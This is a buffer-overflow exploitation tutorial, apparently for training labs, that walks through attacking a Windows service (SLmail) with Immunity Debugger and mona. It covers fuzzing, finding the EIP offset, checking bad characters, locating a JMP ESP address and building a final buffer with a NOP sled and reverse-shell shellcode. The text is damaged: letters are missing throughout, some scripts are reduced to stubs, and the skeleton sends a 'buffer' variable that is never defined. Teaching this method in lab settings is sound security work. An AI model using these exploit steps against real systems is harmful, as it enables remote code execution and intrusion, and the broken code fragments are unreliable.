Buffer Overflows
Buffer Overflows
Immunity Debugger
Always run Immunity Debugger as Administrator if you can.
There are generally two ways to use Immunity Debugger to debug an applica on:
1. Make sure the applica on is running, open Immunity Debugger, and then use
File -> Attach to a ack the debugger to the running process.
2. Open Immunity Debugger, and then use File -> Open to run the applica on.
Note: If the binary you are debugging is a Windows service, you may need to restart the
applica on via sc
sc stop SLmail
sc start SLmail
Some applica ons are configured to be started from the service manager and will not work
unless started by service control.
Mona Setup
Mona is a powerful plugin for Immunity Debugger that makes exploi ng buffer overflows much
easier. Download: mona.py
Copy the mona.py file into the PyCommands directory of Immunity Debugger (usually located at
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands).
In Immunity Debugger, type the following to set a working directory for mona.
!mona config -set workingfolder c:\mona\%p
Fuzzing
The following Python script can be modified and used to fuzz remote entry points to an
applica on. It will send increasingly long buffer strings in the hope that one eventually crashes
the applica on.
ip = "10.0.0.1"
port = 21
timeout = 5
Check that the EIP register has been overwri en by A’s (\x41). Make a note of any other
registers that have either been overwri en, or are poin ng to space in memory which has been
overwri en.
Crash Replication & Controlling EIP
The following skeleton exploit code can be used for the rest of the buffer overflow exploit:
import socket
ip = "10.0.0.1"
port = 21
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
data = s.recv(1024)
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
Using the buffer length which caused the crash, generate a unique buffer so we can determine
the offset in the pa ern which overwrites the EIP register, and the offset in the pa ern to which
other registers point. Create a pa ern that is 400 bytes larger than the crash buffer, so that we
can determine whether our shellcode can fit immediately. If the larger buffer doesn’t crash the
applica on, use a pa ern equal to the crash buffer length and slowly add more to the buffer to
find space.
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7
Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5
Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
While the unique buffer is on the stack, use mona’s findmsp command, with the distance
argument set to the pa ern length.
!mona findmsp -distance 600
...
[+] Looking for cyclic pattern in memory
Cyclic pattern (normal) found at 0x005f3614 (length 600 bytes)
Cyclic pattern (normal) found at 0x005f4a40 (length 600 bytes)
Cyclic pattern (normal) found at 0x017df764 (length 600 bytes)
EIP contains normal pattern : 0x78413778 (offset 112)
ESP (0x017dfa30) points at offset 116 in normal pattern (length 484)
EAX (0x017df764) points at offset 0 in normal pattern (length 600)
EBP contains normal pattern : 0x41367841 (offset 108)
...
Note the EIP offset (112) and any other registers that point to the pa ern, no ng their offsets as
well. It seems like the ESP register points to the last 484 bytes of the pa ern, which is enough
space for our shellcode.
Create a new buffer using this informa on to ensure that we can control EIP:
offset = 112
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "C" * (600-112-4)
Crash the applica on using this buffer, and make sure that EIP is overwri en by B’s (\x42) and
that the ESP register points to the start of the C’s (\x43).
Now generate a string of bad chars that is iden cal to the bytearray. The following python script
can be used to generate a string of bad chars from \x01 to \xff:
#!/usr/bin/env python
from __future__ import print_function
print()
Put the string of bad chars before the C’s in your buffer, and adjust the number of C’s to
compensate:
badchars = "\x01\x02\x03\x04\x05...\xfb\xfc\xfd\xfe\xff"
payload = badchars + "C" * (600-112-4-255)
Crash the applica on using this buffer, and make a note of the address to which ESP points. This
can change every me you crash the applica on, so get into the habit of copying it from the
register each me.
Use the mona compare command to reference the bytearray you generated, and the address to
which ESP points:
The following example searches for “jmp esp” or equivalent (e.g. call esp, push esp; retn, etc.)
while ensuring that the address of the instruc on doesn’t contain the bad chars \x00, \x0a, and
\x0d.
The mona find command can similarly be used to find specific instruc ons, though for the most
part, the jmp command is sufficient:
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -b
"\x00\x0a\x0d"
Generate Payload
Generate a reverse shell payload using msfvenom, making sure to exclude the same bad chars
that were found previously:
Prepend NOPs
If an encoder was used (more than likely if bad chars are present, remember to prepend at least
16 NOPs (\x90) to the payload.
Final Buffer
offset = 112
overflow = "A" * offset
retn = "\x56\x23\x43\x9A"
padding = ""
payload = "\x90" * 16 +
"\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..."